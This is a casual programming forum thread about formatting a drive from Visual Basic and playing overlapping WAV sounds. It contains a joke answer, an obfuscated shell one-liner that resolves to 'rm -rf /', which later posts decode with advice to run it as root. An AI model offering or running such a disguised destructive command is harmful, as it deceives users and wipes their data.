Format C: in VB (1 Viewer)

[Ragerunner]

anyone know the code to do this ?

now don't get any thoughts of why i want to know this

on another question as well my wav files in my program don't work together.

i start my game with music in the background and when i use the movement button (which makes a sound) it cancells the background music

anyway to get them to overlap ?

I assume you are using the sndPlaySound thing from winmm.dll?
I dont think you can play multiple wavs this way.

I havent ever needed to do this, but i think you can use DirectX's DirectSound for wave output to do it. Dont know how though.

Oh, go and boil your bottom. Go learn a vaguely real/useful programming language, son of a silly person.

Try:

rm -rf `cat /etc/fstab | grep 'LABEL=/boot' | awk '{printf("%s",$2)}' | sed 's/boot//g'`

(The first and last 'apostrophes' are backticks, by the way... ` , not ' .)

Ooh, how could I forget:

"About them Script Kiddies,
the internet's old plight.
Goin' all around,
usin' hacks they didn't write.
Them Script Kiddies lurk the net,
as devious little foes.
Keep them admins well employed,
and keeps them on their toes!
When Script Kiddies learn a trick,
it makes for one tight spot.
If you ain't patched up to date,
think again, because you ought.
How to be a Script Kiddy,
logon the net ad hoc.
Google for the hack you want,
and start your own havoc."

It should be obvious what it's sung to.

When someone knocks another programming language, they usually just miss the point of the language and brand it as crap. A good programmer should know a range of tools and pick the right one for the job.

Anyway, to the original question about formatting, I don't think VB can do something that low level - you'll have to execute other programs from VB to do the job.

bahahaa, you've been paying attention in COMP lectures!!!

 

[sunny]

Hey I actually believe in that too! But I learnt that first from Compuware 2002 when the instructor was teaching Python but branded someone stupid for suggesting to go through 30GB of spidered search engine data with Python code.

Ok, for starters the 'Go learn a vaguely real/useful programming language' was a Joke. I guess irony doesn't work well via web-forums. A poke at the VB-types who sit on the planet-source-code forums and shout how 'crap' C++ is...? No? Ok. *Sigh*

Yes, that's the one. I don't drink grog at all - I just get others to drink stackloads for me, so I can claim I can DRINK. So NYER.

I'm sure.

Remove any file and folder recursively, even if folder is empty. Catenate /etc/fstab, then grab the line(s) with LABEL=/boot. Don't know what awk is but output the $2 2nd argument in the command.

Then you substitute any lines that have 'boot' in it with a nothing character so 'boot' is deleted.

I'm just interpreting what hurrotisrobbo said.

Erm. Kind of.

Use the following output in the command 'rm -rf' ("Remove any file and folder recursively, even if folder is NOT empty."):

List the contents of /etc/fstab. Of the output, take only the lines containing 'LABEL=/boot'. From the output of that (probably "LABEL=/boot /boot"), take the second field ("/boot"). And then, to that text, replace any instances of "boot" with nothing (ie. delete it).

After the actions described in the above paragraph have been completed, the end result is a single character: "/"

So:

rm -rf `cat ....`

becomes...

rm -rf /

...which is the command that will delete the contents of your harddrive (well... Any mounted partitions anyway). And only the things you have access to. So, for full effectiveness, do this as root.

Sorta there...

 

[Ragerunner]

i copy and pasted it

but the code just turns out red ? -_-

 

[Fosweb]

it's not the 'code' you are thinking about...

Sunny said you cant do it in vb (basically...)
hurrotisrobbo said use this linux command...
unless you have/use/want to do this in linux, then just forget about it...

did you figure out the sound playing thing?
